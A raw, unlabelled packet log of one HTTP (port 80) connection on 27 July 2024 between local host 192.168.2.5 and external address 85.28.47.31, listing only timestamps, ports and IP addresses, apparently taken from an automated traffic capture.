Jul 27, 2024 12:01:15.066585064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066603899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066611052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066620111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066637039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066637039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066651106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066662073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066668034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.066705942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.066705942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067135096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067151070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067166090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067181110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067187071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067213058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067230940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067287922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067303896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067318916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067333937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067334890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067351103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067357063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067357063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067367077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067378044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067383051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067397118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067400932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067415953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067423105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067423105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067431927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067442894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067447901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067464113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.067470074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067470074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067488909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.067507029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068173885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068188906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068203926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068218946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068222046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068233967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068242073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068249941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068258047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068264961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068281889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068281889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068295002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068305969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068305969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068310022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068325043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068331957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068340063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068351984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068356037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068370104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.068371058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068387032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068413973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.068413973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.158932924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.158951998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.158984900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159018993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159065962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159084082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159106016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159130096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159255981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159271002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159285069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159301043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159301996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159337997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159337997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159367085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159562111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159578085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159591913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159606934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159607887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159624100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159657001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159657001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159703016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159718990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159735918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159748077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159750938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159765959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159770966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159770966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159800053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159817934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159863949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159882069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.159908056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.159938097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160000086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160016060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160037994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160067081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160458088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160494089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160510063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160518885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160525084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160535097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160541058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160554886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160556078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160572052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160582066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160582066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160587072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160603046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160609007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160609007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160618067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160634041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160634041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160648108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160649061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160665989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.160674095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160674095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160696983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.160711050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161370993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161386013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161401033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161415100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161416054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161429882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161437035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161446095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161462069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161457062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161477089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161487103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161493063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161506891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161506891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161524057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161529064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161551952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161552906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161552906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161569118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.161576033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161595106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.161608934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.268465996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.273336887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449731112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449759960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449773073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449789047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449805021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449811935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.449894905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449908972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449924946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.449940920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450028896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450038910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450038910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450038910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450038910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450084925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450088024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450088024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450088024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450100899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450115919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450130939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450150013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450167894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450272083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450288057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450320005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450416088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450431108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450445890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450454950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450460911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450469971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450476885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450489998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450493097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450515985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450515985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450539112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450539112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450732946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450748920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450772047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450778008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450787067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450797081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450802088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450817108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450818062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450831890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450836897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450849056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450856924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450856924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450865030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.450881958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450898886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.450912952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451273918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451288939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451311111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451316118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451328993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451332092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451347113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451359034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451361895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451374054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451378107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451392889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451411963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451428890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451589108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451605082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451618910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451625109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451634884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451646090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451664925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451689005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451869011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451891899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451905966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451913118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451921940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451934099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451945066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451950073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451967955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451970100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451983929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.451991081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.451998949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452009916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452016115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452028036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452030897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452043056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452045918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452059984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452061892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452075005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452088118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452088118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452116966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452117920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452631950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452646971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452661037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452667952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452676058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452688932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452691078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452707052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452708960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452722073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452728987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452728987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452737093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452752113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452754021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452766895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452774048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452774048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452781916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452796936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452797890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452811956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452816963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452826977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452836990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452836990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452841997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452856064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452861071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452872038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.452879906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452903986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452903986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.452920914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.453634977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453644991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453655005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453664064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453672886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453682899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453694105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453702927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453713894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453722954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453733921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453743935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453754902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453764915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453775883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453785896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453797102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.453813076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.453867912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.454552889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454562902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454571962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454581022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454591990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454601049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454611063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454611063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.454621077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454632044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:15.454638004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:15.454642057 CEST	80	49704	85.28.47.31	192.168.2.5
